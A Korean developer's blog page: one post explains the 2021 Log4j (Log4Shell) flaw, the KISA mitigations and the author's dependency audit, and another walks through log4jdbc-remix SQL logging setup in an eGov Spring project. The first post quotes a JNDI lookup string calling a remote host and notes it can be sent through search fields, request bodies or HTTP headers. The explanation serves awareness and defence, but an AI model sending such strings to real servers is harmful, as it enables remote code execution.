반응형

2021년 12월 10일 Log4j 취약점 발견

12월 10일 Log4j 취약점이 공개되었다. 나는 해당 이슈를 뉴스를 통해 토요일날 처음 접했다. 보자마자 생각들었던게, 어? 내 시스템들에도 Log4j 라이브러리를 쓸텐데..? 문제 없는건가? 그리고... 나뿐만 아니라 국내며 해외며.. java 기반 시스템에선 엄청 많이 사용하고 있을텐데???.. 라는 생각이 들었다.

log4j 란?

log4j라는 라이브러리에서 취약점이 발견되었다. log4j 는 java 기반 시스템에서 쓰이는 logging library 로써 굉장히 광범위하게 쓰이는 로깅 라이브러리다. 전세계적으로 굉장히 보편화되어있고 많은 시스템에서 사용중이고 심지어 내가 운영중인 웹사이트도 해당 라이브러리를 사용하고있었기에 관심이 컸다.

log4j에 어떤 취약점이? lookups 과 JDNI

log4j 에 어떤 취약점이 있어서 해당 문제가 발생한걸까? log4j 라이브러리로 로그를 찍을때 기존 println 함수로 쌩으로 찍는게 아닌 log.debug("log : {}", param); 형태로 찍게 된다. {}를 이용해 포맷을 만들고 param 데이터를 매핑하는 식인거다, 그래서 로그가 가독성있게 출력되는게 강점인 라이브러리다. 근데 여기서 어떤게 문제가 되었을까?

 

해당 원리를 조금 응용하면 Lookups 기능을 이용해 신박한짓을 할 수 있다. Lookups 기능을 보면 로깅 포맷에서 구문을 실행한 결과를 출력할 수 있는 기능이다. 예를들면 log.debug("log : {docker:containerName}") 라고 찍으면 docker:containerName 구문의 실행 결과가 결과로 찍힌다. 도커 컨테이너의 이름이 happyDocker 였다면 "log : happyDocker" 가 로그로 찍히도록 하는 기능인거다. 이정도 하면 감이 왔을까..? logging 처리 과정에서 구문이 실행 된다는 점..!

 

오 그럼, 머 원하는 구문 넣어서 머 서버의 환경은 어떻게 되어있고 로그로 찍을 수 있겠네? 라고 할 수 있지만, 사실 공격자 입장에서 서버로그에 자기가 원하는걸 남겨봤자 어차피 서버로그에는 접근하지 못하기때문에 큰 의미가 없다. 그래서 공격자들이 여기서 끝낼까? 아니다, lookups을 응용해 JNDI를 이용해서 공격이 가능하다.

 

JNDI(Java Naming and Directorry Interface) 는 API를 호출해 자원이나 다른프로그램의 객체를 찾는데 이용한다. 통상 다른 분산된 환경에서 다른 자원을 가지고와 사용할 수 있는 기능이다. 딱 여기까지 읽었을 땐 감이 안오지만, 다른 시스템에서 자원을 가지고와 사용할 수 있다..? 여길 잘 읽어보면 앗! 싶을꺼다. 왜냐면 공격자 서버에 있는 자원을 요청해서 실행할 수 있기 때문이다.

 

만약 아까처럼 매핑되는 로그내용에 ${jndi:ldap://remote.com/resource} 이게 파라미터로 들어가면 저 스트링이 그대로 찍히는게 아니라 룩업 명령에 의해서 jndi 이하 구문이 해당 서버에서 실행되어버린다.

 

당장 어떻게 실행할까 고민해볼것도 없다, 대부분의 파라미터들의 상호작용이 로깅되기 때문에 머 어떤 시스템에선 걍 검색창에만 명령어를 써도 로깅과정에서 손쉽게 실행될 수 있다. 더 간단한건 GET POST 명령에 담아서 쏠수도 있고 http header에 정보를 담아 공격 할 수도있다.

이번 취약점이 유독 최악인 이유? RCE(Remote Code Execution)

오케이 지금까지 log4j 라이브러리를 사용하면서 어떤식으로 공격이 가능한지 한번 간단하게 살펴봤다. 근데 왜 이걸 인터넷역사 근 10년에 최악의 취약점이라고 하는걸까? 바로 RCE가 가능하기 때문이다. 즉 원격지에서 공격자가 원하는 코드가 실행될 수 있다는 점이다.

 

간단하게 예를들자면 내가 구글 검색창에 내가 실행할 코드를 써서 검색버튼을 누르면 검색창에 쓰여짐 코드들이 구글 서버에서 실행된다. 여태까지 보편적인 해킹 기법들은 머가있었는가? 야금 야금 낚시질 하듯이 장난좀 쳐놓고 걸려들면 관리자 권한을 가진 계정을 탈취하여 root 권한을 얻거나 머 이런게 주로 알려진 친구들이었다. 어떻게 말하면 노가다성도 짙어서 노력파라고 볼 수도 있다.

 

기존에 발견되었던 최악의 취약점이라고 불리는 하트블리드도 개인적으로 느끼기엔 이정도 화끈함은 아니었다. 오버플로된 메모리에서 유의미한 데이터가 나올때까지 살짝 노가다도 필요했기 때문에 표현하자면 창과 도끼를 들고 성벽을 힘겹게 타고 올라가 함락하는 딱 이런그림이었다.

 

마지막으로 가장 최악인점은, 한 독립된 소프트웨어의 취약점이 아니라는거다. 무슨말이냐, 내가 만든 짱짱짱프로그램에 취약점이 있으면 이 짱짱짱 프로그램사용에만 문제가 생긴다. 근데... 이번건은 특정 소프트웨어 문제가 아니라... 전세계 많은 소프트웨어에 들어가 있는 라이브러리에 문제가 생긴터라.... 해당 취약점을 이용해서 log4j를 사용하는 모든 소프트웨어를 공격 할 수 있다는 것이다.

 

그렇다 log4j 취약점은 차원이 다르다, 걍 내가 짠 명령어를 전세계 어떤 시스템이든(log4j를 사용하는..) 원격으로 실행시킬 수 있다? 이정도 되면 왜 언론에서 최악 최악 하는지 감이 올 것이다.

제로데이(Zero-Day) 취약점

아..예전에 개념으로만 배우던 제로데이가 이런거구나 싶었다 ㅋㅋ.. 제로데이란 취약점이 공개되고 해당 취약점을 해결할 보안 패치가 나오기 전까지 공격자들로부터 무방비한 상태를 말한다. 공개된 취약점을 이용해 공격을 수행하면 이게바로 제로데이 취약점 공격이다.

 

맞다 큰 이벤트였다. 아마, 나 말고도 주말에 IT 인력들이었으면 이거에 대응하느라 정신이 없었을 것이다 다들 ㅎㅎ... 어차피 이거 보도됐을때는 보안패치가 안나왔던터라 머 현황조사 정도 했을테지만..다들 수고가 많았다.

2021년 12월 11일 한국인터넷진흥원 KISA 보안 업데이트 권고 발표

제로데이 하루가 지났을까, KISA에서 이번에 문제된 Apache Log4j의 보안 업데이트를 권고했다. 내용 요약하자면 Log4j / Log4j2 를 사용하는 유저들은 jot 됐다. 신속히 해결해라..!! 정도 되겠다.

해결방법 : JndiLookup 사용하지 마라!!

해결 방법 엄청 간단한다. JndiLookup 사용하지 말아라이다. log4j 버전에따라 조치방법이 다른데 2.0-beta9 ~2.10.0 버전은 걍 JndiLookup 클레스를 걍 삭제 ㅋㅋㅋㅋㅋㅋㅋㅋ무슨 여드름 압출하듯이 걍 삭제하라니 ㅋㅋㅋㅋㅋㅋㅋ참 와닿는다.

 

만약 2.10~2.14.1 버전을사용할 경우 log4j2.formatMsgNoLookups 나 LOG4J_FORMAT_MSG_NO_LOOKUPS 의 환경변수를 true로 사용해서 못쓰게 하기! 이건 그래도 신사적이다.

 

그리고 만약 log4j 가 아닌 유사한 라이브러리가 쓰였다면 log4j-core 의존성만 없으면 된다고 한다.

 

그외에 보안 업데이트 권고를 보면 공격이 있었는지 탐지하는 방법도 넣어놨다. log4j로 검색해서 이상 로그가 있는지 보면 된단다.

이 KISA의 권고는 오늘까지 약 20만명의 IT인력들이 열람했다 ㅋㅋㅋㅋ log4j2 많이도 쓰나보구나 ㅋㅋㅋㅋㅋㅋㅋㅋㅋ 생각했다.

이 혼란속에서 나는 뭘 했을까?

결국 주말에 전사차원에서 각 시스템별 log4j 사용 유무, 사용 버전 등에 대한 현황을 조사했다. 일단 현황조사 해야한다고 전달받자마자 카톡방에서 메인시스템은 사용하는 것 같고, 스프링부트 기반인 서브시스템들도 사용될 것으로 예상된다. 정확한 버전이 멀 쓰는지는 확인해봐야한다 이정도 초벌로 정리해서 전달했다.

 

그리고 본격적으로 원격 붙어서 아....하........후............하.....................한숨 푹쉬고 현황조사를 시작했다. 머 메인시스템같은 경우에는 코드단을 하도 많이 보니까 딱 머리에 있었는데 서브시스템이나 레거시 시스템들의 경우 코드수정이 많이 없다보니 어떤 로깅 라이브러리를 쓰는지 알 수 없었다. 심지어 너무 오래된 시스템은 이거... 로깅은 하긴 하는걸까..? 라는생각도 잠깐 들었다. 일단 생각나는 시스템부터 SVN 소스를 뒤져서 현황을 파악했다.

 

(몇분후..)

 

엇? ...!! 아니...!? 일단 내가 운영하는 메인시스템, 서브시스템, 레거시시스템 전부 log4j를 안쓰네!??!?!?!?!?!??! 뭐지!? 분명 메인시스템은 log4j를 확실히 사용했었는데? 먼가 이상했다.

log4jdbc-remix(SLF4J)

엇.. 메인시스템이 log4j가 아니고 log4jdbc-remix였다. 아.. 내가 지금까지 난독이었구나.. ㅋㅋㅋ j까지만 읽고 뒤는... 안읽었었나보네.. 그렇다 ..log4j는 확실히 많이 봤었기 때문에 당연히 쓸꺼라고 생각했는데 log4jdbc-remix였다. 게다가 KISA에서 권고한 버전이랑도 아예 꼴 자체가 틀려...! 이건 딴 라이브러리야!!

맞다 해당 라이브러리의 의존성을 보니 SLF4J 추상체를 이용하여 만들어진 라이브러리다. 때문에 log4j와 머 비슷한친구긴 하지만, log4j는 아니기때문에 영향범위가 아니었다. 해당 라이브러리 공식 사이트에서 소스를 확인해보니 slf4 추상체만 쓰였을 뿐 log4j-core에 대한 의존성은 없었다. 야호..! 했지만................와.. 무슨 로깅 라이브러리를 2011년껄 쓰고있네.........한편으론 슬펐다...전자정부프레임워크 기반은 ㄹㅇ 불지옥이구나 한번더 느꼈다.

Logback (SLF4J)

java로된 시스템중에 메인시스템은 일단락됐고 서브시스템도 걱정됐다. 아 스프링부트라 먼가 log4j 있을꺼같아.... 하면서 확인해보니 logback 라이브러리를 사용하고 있었다.

logback 의 라이브러리 의존성을 보니 log4jdbc-remix와 동일하게 slf4j 추상체를 이용하여 구현했다. 위에 logback-core도 확인해보니 log4j-core에 관련된 의존성은 없었다. 결국 이친구도 영향범위 밖!! 의외였다. 이 작은 서브시스템이... 비교적 최신기술이고...가장 중요한 시스템은....후..........................기쁨반 슬픔 반 이었다.

번외, 보안 강국 대한민국! (feat, 전자정부프레임워크)

이짤도 웃음반 슬픔반이다. ㅋㅋㅋㅋㅋㅋㅋ 나도 첨에보고 엄청 웃었다 ㅋㅋㅋㅋㅋㅋㅋㅋ와 어떻게 저러냐?ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ했는데 ㄹㅇ ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ2012년에 단종된 log4jdbc를 쓰는게 내 시스템이었다니 ㅋㅋㅋㅋㅋ맞다 내 시스템도 전자정부프레임워크 기반이다 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ엌ㅋㅋㅋㅋㅋㅋㅋ

 

나말고도 전자정부프레임워크 기반인 공공기관이나 공기업 같은 분들도 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ와,! 우리 jot 됐다 !!! 하고 찾아보다가 엇.. 저희.. 2012년에 단종된 로깅 라이브러리라... 영향범위 밖입니다 ㅎㅎ 헤헤....이럴 사람들이 많다고 생각하니 좀 웃겼다 ㅋㅋㅋㅋ 이번 대한민국 보안은 전자정부프레임워크가 살렸다!!!

 

후.. 짧게 한 15분 쓰고 자려했는데 .. 결국 이렇게 길어졌다.. 먼가 실제 운영하면서 발생한 보안위협이기도하고, 흥미로웠던 취약점이기도해서 이렇게 길게 쓴 것 같다 ㅋㅋㅋ 보안 공부하는 새내기분들에게 좋은 경험담이 되었으면 좋겠다

 

반응형
반응형

 

https://extsdd.tistory.com/114

 

[Spring/eGov] #9 이클립스에서 마리아DB 데이터 Select 과정 디버깅하기 / 디버깅 방법 / Debug / 디버그

https://extsdd.tistory.com/113 [Spring/eGov ] #8 이클립스에서 마리아DB 데이터 조회하기 / MyBatis / 컨트롤러 Controller / 서비스 / DAO / https://extsdd.tistory.com/112 [Spring/eGov ] #7 스프링, 전자..

extsdd.tistory.com

  자 우리가 저번까지 DB에서 데이터를 조회해보고 잘 되는지 확인헀다.

 

 

  하지만 쿼리를 조회하더라도 Console창에 찍히는게 없어서, 실제로 어떤 구문이 실행됐는지, 결과는 나왔는지 알 수가 없어 빠른 분석이 불가능했다.

 

  하지만 Log4j2.xml을 수정해서 쿼리를 조회할때 어떤 쿼리를 조회하는지, 결과는 어떤지 알 수 있게 해보자.

 

1. Log4jdbc-remix 라이브러리 추가

 

 

 

  자 본인 프로젝트에 있는 pom.xml을 열어보자. 저번 시간까지는 그냥 전자정부 프레임워크가 미리 설정해두었던 log4jdbc 라이브러리를 추가해놨었지만, 저 라이브러리 말고 log4j2-remix 라이브러리로 바꿔주자. 위에 나온건 주석처리하고 아래 코드를 그 밑에 추가해주자.

        <dependency>
		    <groupId>org.lazyluke</groupId>
		    <artifactId>log4jdbc-remix</artifactId>
		    <version>0.2.6</version>
		</dependency>

 

 

 

  그럼 위 사진과 같이 변했을 것이다. 기존 lof4jdbc 라이브러리는 주석처리해주고 밑에 새로 log4jbc-remix 라이브러리를 넣어줬당 ㅎㅎ저장을 해주면 라이브러리가 추가된다.

2. log4j2.xml 수정

 

  자 리소스 열기(Ctrl+Shift+R)를 이용해 log4j2.xml 을 열어주자.

 

 

  위와 같은 코드로 작성되어 있을텐데 보면 로그 레벨들이 다 Info위주라 많은 정보들을 안보여주고 있다.

<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
    <Appenders>
        <Console name="console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d %5p [%c] %m%n" />
        </Console>
    </Appenders>
    <Loggers>
       <Logger name="java.sql" level="DEBUG" additivity="false">
            <AppenderRef ref="console" />
        </Logger>
        <Logger name="egovframework" level="DEBUG" additivity="false">
            <AppenderRef ref="console" />
        </Logger>
          <!-- log SQL with timing information, post execution -->
        <Logger name="jdbc" level="OFF" additivity="false">
            <AppenderRef ref="console" />
        </Logger>
        <Logger name="org.apache.commons.digester" level="ERROR" additivity="false">
            <AppenderRef ref="console" />
        </Logger>
      
         <Logger name="jdbc.sqlonly" level="DEBUG" additivity="false">
            <AppenderRef ref="console" />
        </Logger>
         <Logger name="jdbc.resultsettable" level="DEBUG" additivity="false">
            <AppenderRef ref="console" />
        </Logger>
        <Logger name="org.springframework" level="INFO" additivity="false">
            <AppenderRef ref="console" />
        </Logger>

        <Logger name="org.springframework.web" level="DEBUG" additivity="false">
            <AppenderRef ref="console" />
        </Logger>

        <Root level="DEBUG">
            <AppenderRef ref="console" />
        </Root>
    </Loggers>
</Configuration>

 

  위 코드를 통째로 복붙하고 저장해준다.

 

3. context-datasource.xml 수정

 

  자 리소스 열기(Ctrl+Shift+R)를 이용해 context-datasource.xml을 열어주자.

 

 

  자 데이터 소스가 저렇게 선언되어 있을텐데. 이제 코드를 수정해서 저 dataSource를 가로채서 log4jdbc가 더 상세히 로그를 남길 수 있도록 수정할 것이다.

	<bean id="dataSource_main" class="org.apache.commons.dbcp.BasicDataSource" destroy-method="close">
 		<property name="driverClassName" value="org.mariadb.jdbc.Driver"/>
        <property name="url" value="jdbc:mariadb://127.0.0.1:3306/cp_service_db" />
        <property name="username" value="root"/>
        <property name="password" value="비밀번호"/>
    </bean>
    <bean id="dataSource" class="net.sf.log4jdbc.Log4jdbcProxyDataSource">
		<constructor-arg ref="dataSource_main" />
		<property name="logFormatter">
			<bean class="net.sf.log4jdbc.tools.Log4JdbcCustomFormatter">
				<property name="loggingType" value="MULTI_LINE" />
				<property name="sqlPrefix" value="\n"/>
			</bean>
		</property>
	</bean> 

 

  저 빨간 박스 부분만 드레그해서 위 코드로 바꿔주자.

 

 

  저런식으로 바뀌었을텐데 바뀐걸 보면 기존 dataSource로 id가 할당된 친구를 dataSource_main으로 바꿔줬고, 원래 필요했던 dataSource는 Log4jdbc한테 주고 위에 이름바꿨던 dataSource_main을 참조하는 것을 알 수 있다. 저장해주자!

4. 결과 확인

 

 

  자. 프로젝트를 Clean하고 Debug모드로 서버를 실행하고, 테스트로 http://localhost:8080/reqUrl.do?reqParam=3요청을 해보자.

 

 

 

 

  콘솔 로그를 보면, 1번 박스에 어떤 쿼리를 조회하는지 2번 박스에 실제 ?에 Mapping이 되서 실제로 DB에서 조회되는 쿼리가 먼지, 3번 박스에는 그 쿼리 조회결과는 어떤지가 콘솔창에 찍히게 된다.

 

  만약 요청을 처리할때 조회되는 데이터가 이상하다 싶을때는 어떤 쿼리가 실행되는지, 저 쿼리문을 긁어서 HeidiSql같은 툴로 실제로 DB에서 돌려보고 하면 디버깅 실력이 쑥쑥 늘어날 수 있다.

 

#스프링 #전자정부프레임워크 #데이터베이스 #쿼리 #조회결과 #콘솔 #출력 #Log4j2 #Log4jdbc #결과출력

 

 

 

 

 

 

 

 

 

 

반응형
  1. dd 2021.07.28 16:08

    복사가 안되는데 저만 안되나요?

+ Recent posts